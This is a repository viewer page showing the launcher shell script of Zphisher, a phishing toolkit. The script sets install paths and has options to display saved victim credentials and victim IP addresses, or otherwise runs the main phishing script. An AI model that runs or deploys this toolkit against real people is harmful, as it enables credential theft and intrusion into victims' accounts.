CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
htr-tech

CoCalc is a real-time collaborative commercial alternative to JupyterHub and Overleaf that provides Jupyter Notebooks, LaTeX documents, and SageMath.

GitHub Repository: htr-tech/zphisher
Path: blob/master/scripts/launch.sh
Views: 3117
1
#!/bin/bash
2
3
# https://github.com/htr-tech/zphisher
4
5
if [[ $(uname -o) == *'Android'* ]];then
6
ZPHISHER_ROOT="/data/data/com.termux/files/usr/opt/zphisher"
7
else
8
export ZPHISHER_ROOT="/opt/zphisher"
9
fi
10
11
if [[ $1 == '-h' || $1 == 'help' ]]; then
12
echo "To run Zphisher type \`zphisher\` in your cmd"
13
echo
14
echo "Help:"
15
echo " -h | help : Print this menu & Exit"
16
echo " -c | auth : View Saved Credentials"
17
echo " -i | ip : View Saved Victim IP"
18
echo
19
elif [[ $1 == '-c' || $1 == 'auth' ]]; then
20
cat $ZPHISHER_ROOT/auth/usernames.dat 2> /dev/null || {
21
echo "No Credentials Found !"
22
exit 1
23
}
24
elif [[ $1 == '-i' || $1 == 'ip' ]]; then
25
cat $ZPHISHER_ROOT/auth/ip.txt 2> /dev/null || {
26
echo "No Saved IP Found !"
27
exit 1
28
}
29
else
30
cd $ZPHISHER_ROOT
31
bash ./zphisher.sh
32
fi
33
34